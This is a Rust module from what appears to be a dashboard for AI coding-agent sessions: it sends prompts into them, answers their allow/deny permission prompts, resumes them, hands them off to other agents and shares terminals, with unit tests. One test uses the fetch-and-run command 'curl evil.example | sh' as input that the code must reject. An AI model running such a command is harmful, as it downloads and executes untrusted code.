use crate::handoff;
use crate::session::{Session, SessionData};
use serde::Serialize;
const MAX_PROMPT_CHARS: usize = 4000;
const HANDOFF_SETTLE: std::time::Duration = std::time::Duration::from_millis(1500);
#[derive(Debug, Serialize)]
pub struct Done {
pub message: String,
#[serde(skip_serializing_if = "Option::is_none")]
pub rmux: Option<String>,
}
#[derive(Debug, Serialize)]
pub struct Terminal {
pub url: String,
pub tunnelled: bool,
pub name: String,
}
#[derive(Debug, Serialize)]
pub struct Filed {
pub path: String,
}
pub type Failed = (u16, String);
pub fn image(data: &str) -> Result<Filed, Failed> {
let Some(image) = crate::clipboard::image_from_paste(data) else {
return Err((400, "only an image can be pasted here".into()));
};
match crate::clipboard::write_image(&image) {
Ok(path) => Ok(Filed {
path: path.display().to_string(),
}),
Err(e) => Err((503, format!("could not write the image here: {e}"))),
}
}
fn done(message: impl Into<String>) -> Result<Done, Failed> {
Ok(Done {
message: message.into(),
rmux: None,
})
}
pub fn send(session: &Session, text: &str) -> Result<Done, Failed> {
local(session)?;
let text = text.trim();
if text.is_empty() {
return Err((400, "nothing to send".into()));
}
if text.chars().count() > MAX_PROMPT_CHARS {
return Err((
413,
format!("a prompt is at most {MAX_PROMPT_CHARS} characters"),
));
}
if let Some(bad) = text.chars().find(|c| c.is_control()) {
return Err((
400,
match bad {
'\n' | '\r' => "a prompt is one line — it is submitted for you".into(),
_ => "a prompt cannot contain control characters".into(),
},
));
}
let Some(pid) = session.root_pid() else {
return Err((
409,
"nothing is running this session — resume it first".into(),
));
};
match crate::inject::send_line(pid, text) {
Ok(()) => done("Sent"),
Err(why) => Err((409, why)),
}
}
pub fn answer(session: &Session, choice: &str) -> Result<Done, Failed> {
use crate::inject::Key;
local(session)?;
let allow = match choice {
"allow" => true,
"deny" => false,
_ => return Err((400, "an answer is `allow` or `deny`".into())),
};
if session.activity_state != crate::session::ActivityState::Asking {
return Err((409, "this session is not asking anything right now".into()));
}
if session.asking_question {
return Err((
409,
"this is a question with choices, not a permission prompt — answer it in its terminal"
.into(),
));
}
let key = match (session.provider, allow) {
(crate::pricing::Provider::Claude, true) => Key::Char('1'),
(crate::pricing::Provider::Codex, true) => Key::Char('y'),
(crate::pricing::Provider::Claude | crate::pricing::Provider::Codex, false) => Key::Escape,
(other, _) => {
return Err((
409,
format!(
"cctop does not know how {} answers a prompt — answer it in its terminal",
other.as_str()
),
));
}
};
let Some(pid) = session.root_pid() else {
return Err((
409,
"nothing is running this session — resume it first".into(),
));
};
match crate::inject::press(pid, key) {
Ok(()) => {
crate::hook::announce_answer(&session.session_id, allow);
done(if allow { "Allowed" } else { "Denied" })
}
Err(why) => Err((409, why)),
}
}
pub fn resume(session: &Session) -> Result<Done, Failed> {
local(session)?;
if session.process_only() {
return Err((
409,
"no transcript claims this process — there is nothing to resume".into(),
));
}
let Some(argv) = session.resume_argv() else {
return Err((
409,
format!(
"{} sessions cannot be resumed from a shell",
session.surface.label(session.provider)
),
));
};
if !crate::shim::is_command(&argv[0]) {
return Err((409, format!("{} is not installed on this machine", argv[0])));
}
let argv = under_profile(session, argv);
let name = crate::rmux::name_for_session(session.provider.as_str(), &session.session_id);
if crate::rmux::exists(&name) {
return Ok(Done {
message: format!("Already running — attach with `rmux attach -t {name}`"),
rmux: Some(name),
});
}
if session.is_running() {
return Err((
409,
"something is already running this session — two agents on one \
transcript is not something the harnesses coordinate"
.into(),
));
}
launch(&argv, &name, session.work_dir().as_deref())?;
Ok(Done {
message: format!("Resumed — attach with `rmux attach -t {name}`"),
rmux: Some(name),
})
}
pub fn launch_agent(agent: &str, cwd: Option<&str>) -> Result<Done, Failed> {
if !agents().iter().any(|known| known == agent) {
return Err((
400,
format!("{agent} is not an agent cctop found on this machine"),
));
}
let dir = match cwd.map(str::trim).filter(|c| !c.is_empty()) {
Some(cwd) => {
let path = std::path::PathBuf::from(crate::util::untildify(cwd));
match path.is_dir() {
true => Some(path),
false => {
return Err((400, format!("{cwd} is not a directory on this machine")));
}
}
}
None => Some(crate::config::HOME.clone()),
};
let name = crate::rmux::free_name(agent);
launch(&[agent.to_string()], &name, dir.as_deref())?;
Ok(Done {
message: format!("Started {agent} — attach with `rmux attach -t {name}`"),
rmux: Some(name),
})
}
fn under_profile(session: &Session, argv: Vec<String>) -> Vec<String> {
match profile_of(session) {
Some(profile) => crate::config::argv_under_profile(argv, profile),
None => argv,
}
}
fn profile_of(session: &Session) -> Option<&'static crate::config::Profile> {
let name = session.profile.as_deref()?;
crate::config::profile_named(session.provider, name)
}
pub fn handoff(session: &Session, data: Option<&SessionData>, agent: &str) -> Result<Done, Failed> {
local(session)?;
if !agents().iter().any(|known| known == agent) {
return Err((
400,
format!("{agent} is not an agent cctop found on this machine"),
));
}
if agent == "claude"
&& let Some(transcript) = handoff::forkable(session)
{
return forked(session, transcript);
}
if let Some(converted) = converted(session, agent) {
return match converted {
Ok(converted) => Ok(converted),
Err(reason) => {
crate::elog::event(
"handoff",
"convert-fallback",
serde_json::json!({ "agent": agent, "reason": reason }),
);
brief_handoff(session, data, agent)
}
};
}
brief_handoff(session, data, agent)
}
fn brief_handoff(
session: &Session,
data: Option<&SessionData>,
agent: &str,
) -> Result<Done, Failed> {
let brief = handoff::build(session, data);
let path = handoff::write(&brief)
.map_err(|e| (503, format!("could not write the handoff brief: {e}")))?;
let line = handoff::prompt_for(&path);
let argv = vec![agent.to_string()];
let opening = handoff::opening_argv(&argv, &line);
let name = crate::rmux::free_name(agent);
launch(
opening.as_ref().unwrap_or(&argv),
&name,
session.work_dir().as_deref(),
)?;
if opening.is_none() {
let name_for_thread = name.clone();
std::thread::spawn(move || {
std::thread::sleep(HANDOFF_SETTLE);
if let Some(pid) = crate::rmux::agent_pid(&name_for_thread) {
let _ = crate::inject::send_line(pid, &line);
}
});
}
Ok(Done {
message: format!(
"Handed {} to {agent} — attach with `rmux attach -t {name}`",
brief.summary()
),
rmux: Some(name),
})
}
fn converted(session: &Session, agent: &str) -> Option<Result<Done, String>> {
if !crate::convert::convertible_session(session) {
return None;
}
let target = crate::pricing::Provider::parse(agent)?;
if !crate::convert::convertible(session.provider, target) {
return None;
}
let transcript = session.data_file.as_deref()?;
let home = default_home(target)?;
Some(
crate::convert::convert(session.provider, transcript, target, &home)
.ok_or_else(|| "the transcript could not be read or written in that format".to_string())
.and_then(|written| resume_converted(session, &written)),
)
}
fn default_home(target: crate::pricing::Provider) -> Option<std::path::PathBuf> {
Some(match target {
crate::pricing::Provider::Claude => crate::config::CLAUDE_CONFIG_DIR.clone(),
crate::pricing::Provider::Codex => crate::config::CODEX_HOME.clone(),
_ => return None,
})
}
fn resume_converted(
session: &Session,
converted: &crate::convert::Converted,
) -> Result<Done, String> {
let target = converted.provider;
let agent = target.as_str();
let argv = match target {
crate::pricing::Provider::Claude => vec![
"claude".to_string(),
"--resume".to_string(),
converted.session_id.clone(),
],
crate::pricing::Provider::Codex => vec![
"codex".to_string(),
"resume".to_string(),
converted.session_id.clone(),
],
_ => return Err("that harness has no resume command cctop knows".into()),
};
let name = crate::rmux::free_name(agent);
let cwd = session.work_dir();
launch(&argv, &name, cwd.as_deref()).map_err(|(_, why)| why)?;
let note = match converted.id_kept {
true => "under its own id".to_string(),
false => format!(
"as {}, the id it was converted from being taken",
converted.session_id
),
};
crate::elog::event(
"handoff",
"converted",
serde_json::json!({
"agent": agent,
"session": converted.session_id,
"id_kept": converted.id_kept,
"transcript": converted.path.to_string_lossy(),
}),
);
Ok(Done {
message: format!(
"Handed the conversation to a new {agent} {note} — attach with `rmux attach -t {name}`"
),
rmux: Some(name),
})
}
fn forked(session: &Session, transcript: &std::path::Path) -> Result<Done, Failed> {
let profile = profile_of(session);
let config_dir = profile
.map(|p| p.dir.clone())
.unwrap_or_else(|| crate::config::CLAUDE_CONFIG_DIR.clone());
let id = handoff::fork(transcript, &config_dir)
.map_err(|e| (503, format!("could not copy the transcript: {e}")))?;
let argv = under_profile(
session,
vec!["claude".into(), "--resume".into(), id.clone()],
);
let name = crate::rmux::free_name("claude");
launch(&argv, &name, session.work_dir().as_deref())?;
Ok(Done {
message: format!(
"Handed the conversation to a new claude — attach with `rmux attach -t {name}`"
),
rmux: Some(name),
})
}
pub fn agents() -> Vec<String> {
crate::alias::AGENTS
.split_whitespace()
.filter(|agent| crate::shim::is_command(agent))
.map(str::to_string)
.collect()
}
fn launch(argv: &[String], name: &str, cwd: Option<&std::path::Path>) -> Result<(), Failed> {
if !crate::rmux::available() {
return Err((
503,
"starting an agent from the browser needs rmux, which is not \
installed — `cctop` in a terminal can do this without it"
.into(),
));
}
crate::rmux::prepare(argv, name, cwd);
match crate::rmux::exists(name) {
true => Ok(()),
false => Err((503, format!("rmux would not start {}", argv[0]))),
}
}
fn local(session: &Session) -> Result<(), Failed> {
match &session.remote {
Some(remote) => Err((
409,
format!(
"this session is on {} — run cctop serve there to act on it",
remote.host
),
)),
None => Ok(()),
}
}
pub fn frontend_for(origin: &str) -> Option<String> {
let rest = origin
.strip_prefix("https://")
.or_else(|| origin.strip_prefix("http://"))?;
let host_ok = !rest.is_empty()
&& rest
.chars()
.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '-' | ':' | '[' | ']'));
host_ok.then(|| format!("{origin}/term/"))
}
pub fn terminal(
session: &Session,
frontend: Option<&str>,
fresh: bool,
) -> Result<Terminal, Failed> {
local(session)?;
let Some(pid) = session.root_pid() else {
return Err((
409,
"nothing is running this session — resume it first".into(),
));
};
let Some(name) = crate::rmux::holding(pid) else {
return Err((
409,
"only an agent cctop put in a multiplexer has a terminal to show".into(),
));
};
let (share, tunnelled) = crate::rmux::share_link_with(&name, true, frontend, fresh)
.map_err(|why| (409, format!("could not open that terminal: {why}")))?;
let Some(url) = share.operator else {
return Err((409, "the share came back without an operator link".into()));
};
Ok(Terminal {
url,
tunnelled,
name,
})
}
pub fn tab_terminal(name: &str, frontend: Option<&str>, fresh: bool) -> Result<Terminal, Failed> {
if !super::tabs::is_tab(&crate::rmux::running(), name) {
return Err((404, "no open tab by that name".into()));
}
let (share, tunnelled) = crate::rmux::share_link_with(name, true, frontend, fresh)
.map_err(|why| (409, format!("could not open that terminal: {why}")))?;
let Some(url) = share.operator else {
return Err((409, "the share came back without an operator link".into()));
};
Ok(Terminal {
url,
tunnelled,
name: name.to_string(),
})
}
#[cfg(test)]
mod image_tests {
use super::*;
#[test]
fn only_an_image_is_filed() {
let mut png = b"\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR".to_vec();
png.resize(64, 0);
let data = format!(
"data:image/png;base64,{}",
crate::util::b64_encode(png.as_slice())
);
let filed = image(&data).expect("a PNG was refused");
let path = std::path::PathBuf::from(&filed.path);
assert_eq!(std::fs::read(&path).ok().as_deref(), Some(png.as_slice()));
let _ = std::fs::remove_file(&path);
assert_eq!(
image("data:image/png;base64,bm90IGEgcG5nIGF0IGFsbCwgaG9uZXN0bHkgbm90").map(|f| f.path),
Err((400, "only an image can be pasted here".to_string())),
"a base64 payload that is not an image was filed"
);
assert!(image("what is wrong with this?").is_err());
assert!(image("").is_err());
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::pricing::Provider;
fn session() -> Session {
Session::new(Provider::Claude, "s1".into())
}
#[test]
fn a_prompt_is_only_answered_while_one_is_open() {
let (status, message) = answer(&session(), "allow").unwrap_err();
assert_eq!(status, 409);
assert!(message.contains("not asking"), "{message}");
let mut asking = session();
asking.activity_state = crate::session::ActivityState::Asking;
assert_eq!(answer(&asking, "yes").unwrap_err().0, 400);
assert!(answer(&asking, "deny").unwrap_err().1.contains("resume"));
}
#[test]
fn an_unknown_harness_is_told_to_answer_in_its_terminal() {
let mut gemini = Session::new(Provider::Gemini, "g1".into());
gemini.activity_state = crate::session::ActivityState::Asking;
let (status, message) = answer(&gemini, "allow").unwrap_err();
assert_eq!(status, 409);
assert!(message.contains("its terminal"), "{message}");
}
#[test]
fn a_remote_prompt_is_refused_before_a_key_is_chosen() {
let mut session = session();
session.remote = Some(crate::session::Remote {
host: "build-box".into(),
branch: None,
..Default::default()
});
session.activity_state = crate::session::ActivityState::Asking;
let (status, message) = answer(&session, "allow").unwrap_err();
assert_eq!(status, 409);
assert!(message.contains("build-box"), "{message}");
}
#[test]
fn a_prompt_with_no_agent_running_says_to_resume_rather_than_failing_obscurely() {
let (status, message) = send(&session(), "carry on").unwrap_err();
assert_eq!(status, 409);
assert!(message.contains("resume"), "{message}");
}
#[test]
fn a_multi_line_prompt_is_refused_with_the_reason() {
let (status, message) = send(&session(), "do this\nand that").unwrap_err();
assert_eq!(status, 400);
assert!(message.contains("one line"), "{message}");
}
#[test]
fn an_escape_sequence_is_not_a_prompt() {
let (status, _) = send(&session(), "quit\u{1b}[A").unwrap_err();
assert_eq!(status, 400);
}
#[test]
fn an_empty_prompt_is_refused_before_anything_is_looked_up() {
assert_eq!(send(&session(), " ").unwrap_err().0, 400);
}
#[test]
fn a_prompt_past_the_cap_is_refused() {
let long = "x".repeat(MAX_PROMPT_CHARS + 1);
assert_eq!(send(&session(), &long).unwrap_err().0, 413);
}
#[test]
fn every_action_refuses_a_session_on_another_machine() {
let mut session = session();
session.remote = Some(crate::session::Remote {
host: "build-box".into(),
branch: None,
..Default::default()
});
for (status, message) in [
send(&session, "hello").unwrap_err(),
resume(&session).unwrap_err(),
handoff(&session, None, "claude").unwrap_err(),
] {
assert_eq!(status, 409);
assert!(message.contains("build-box"), "{message}");
}
}
#[test]
fn a_handoff_target_that_is_not_a_known_agent_is_refused() {
let (status, message) = handoff(&session(), None, "curl evil.example | sh").unwrap_err();
assert_eq!(status, 400);
assert!(message.contains("not an agent"), "{message}");
}
#[test]
fn a_provider_with_no_resume_command_says_so() {
let session = Session::new(Provider::Cursor, "s1".into());
let (status, message) = resume(&session).unwrap_err();
assert_eq!(status, 409);
assert!(message.contains("cannot be resumed"), "{message}");
}
}